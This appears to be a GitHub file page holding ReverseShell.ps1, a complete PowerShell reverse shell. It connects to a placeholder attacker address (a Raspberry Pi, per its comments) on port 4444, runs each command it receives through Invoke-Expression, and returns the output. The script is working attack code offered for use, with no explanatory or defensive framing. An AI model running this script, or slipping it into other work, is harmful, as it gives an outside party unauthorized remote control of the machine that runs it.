-
Notifications
You must be signed in to change notification settings - Fork 0
/
ReverseShell.ps1
61 lines (54 loc) · 1.74 KB
/
ReverseShell.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# Define the IP address and port of the Raspberry Pi (attacker)
$attackerIP = "ATTACKER IP" #typically etho0
$port = 4444
try {
# Create a new TCP client and connect to the attacker
$client = New-Object System.Net.Sockets.TCPClient($attackerIP, $port)
if (-not $client.Connected) {
throw "Could not establish a connection to $attackerIP on port $port."
}
# Get the network stream
$stream = $client.GetStream()
if (-not $stream) {
throw "Failed to get the network stream."
}
# Initialize stream writer and reader
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true
$buffer = New-Object System.Byte[] 1024
$encoding = New-Object System.Text.AsciiEncoding
while ($true) {
try {
# Send the current directory path as a prompt
$writer.Write("PS " + (Get-Location).Path + "> ")
# Read the command from the attacker
$read = $stream.Read($buffer, 0, $buffer.Length)
if ($read -le 0) {
throw "Failed to read from the network stream."
}
$cmd = ($encoding.GetString($buffer, 0, $read)).Trim()
# Execute the received command
try {
$result = (Invoke-Expression $cmd 2>&1 | Out-String)
}
catch {
$result = $_.Exception.Message
}
# Send the result back to the attacker
$writer.WriteLine($result)
$writer.Flush()
}
catch {
Write-Error "Error processing command: $_"
break
}
}
}
catch {
Write-Error "Critical error: $_"
}
finally {
if ($client -and $client.Connected) {
$client.Close()
}
}